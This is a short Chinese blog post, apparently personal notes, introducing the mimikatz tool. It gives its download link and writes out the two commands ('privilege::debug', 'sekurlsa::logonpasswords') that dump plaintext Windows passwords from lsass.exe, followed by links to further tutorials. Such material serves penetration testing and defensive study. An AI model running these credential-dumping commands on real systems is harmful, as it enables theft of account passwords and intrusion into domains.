mimikatz-域密码获取神器

mimikatz是一个法国人写的轻量级调试器。出众之处在于其可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码，非常强大。

在网上找了一些相关的文章自己的一点总结吧

下载地址：https://github.com/gentilkiwi/mimikatz/releases/tag/2.1.1-20170409

mimikatz_trunk为编译好的exe文件

mimikatz_master为源码文件

下面是在我机器上的运行结果：（版本2.1.1，64位OS）



这个软件被称为密码抓取神器，mimikatz2.0以后的版本抓取密码很简单，只需要两步：

第一条（提升权限）

privilege::debug

第二条（抓取密码）

sekurlsa::logonpasswords

效果图：



另外还有一些关于介绍这个软件的网址，信息量很大，很多不懂和未知，可能这款神器还有其他的用处，但是感觉下面的内容也有一些版本原因的“过时”吧：

1.《mimikatz》（英文网站，但是里面的介绍和评论区有很多内容） ；文章地址：http://blog.gentilkiwi.com/mimikatz

2.《mimikatz手册1【窃】》 （没看懂）；文章地址：https://betamao.me/mimikatz-man1.html

3.《神器mimikatz使用命令方法总结》（有一些常规命令） ；文章地址：http://www.2cto.com/article/201407/318229.html

4.《关于mimikatz的玩法（私人技巧）》 ；文章地址：http://www.goldfire.cc/index.php/archives/1244